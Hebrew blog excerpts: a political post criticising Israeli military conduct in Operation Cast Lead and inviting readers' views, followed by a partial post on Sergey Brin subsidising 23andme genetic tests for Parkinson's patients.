מעניין, מעניין איך מדינה יכולה להצדיק אי שחרור מחבלים עם "דם על הידיים" באופן מוסרי לאור התנהלות חייליה בעידוד מוחלט של התקשורת וההנהגה.
מעניין כמה נזק הרס ושנאה פעולה אחת מן אלו המתואות למעלה יכולה לגרום.
מעניין מדוע חוששים מהחזרת מחבלים שישובו לעסוק בטרור, כאשר בו בזמן פועלים במרץ ליצירת דור אויבים ושונאים מר וגדול שבעתיים.
מעניין איך מדינה שלמה התגייסה במשך מספר שבועות למסע הרג רצח וטיהור אוכלוסייה במסווה של "ביטחון לדרום". מעניין איך שיקום הכבוד והזקפה הלאומית באו על חשבון אנושיות מינימלית.
מעניין איך צה"ל יחקור. מעניין איזה חייל יקבל 30 יום במעצר. מאוד מעניין. לסגור את הסיפור הזה, ציונות. נראה שזה לא כלכך הולך.
את הטריילר של וואלס עם באשיר ראיתם ?
(סרט מעולה אגב)
ודעתי? שאם לא צפיתם בהרצאתו המרתקת של פיליפ זימבארדו על "כיצד אנשים רגילים נהפכים למפלצות… או גיבורים" (עליה כתבתי בימים הראשונים של המבצע, בפוסט שבו הצהרתי על התנגדותי לעופרת יצוקה)
ואתם? מה אתם חושבים ?
14:33
14:23 או ליתר דיוק, סרגי ברין רוצה. זו הסיבה שהוא מסבסד את עלות הבדיקה הגנטית של החברה 23andme, מ- 400$ ל- 25$, עבור 10,000 חולי הפרקינסון הראשונים אשר ישלחו את הרוק שלהם לבדיקה גנטית אצל החברה (לינק לידיעה).
הידיעה הזו היא התפתחות נוספת למה שכתבתי עליו לפני חצי שנה, שם טענתי שההוזלה בריצוף הגנום תגרום לכולנו להשקיע כסף במחקר רפואי.
אז אומנם זה עוד לא התרחש, אבל הצעד של סרגיי ברין רק מעודד אותי להמשיך לקוות שההשקעה של הציבור הרחב במחקר רפואי תהיה עוד אחת המגמות של העשורים הבאים.
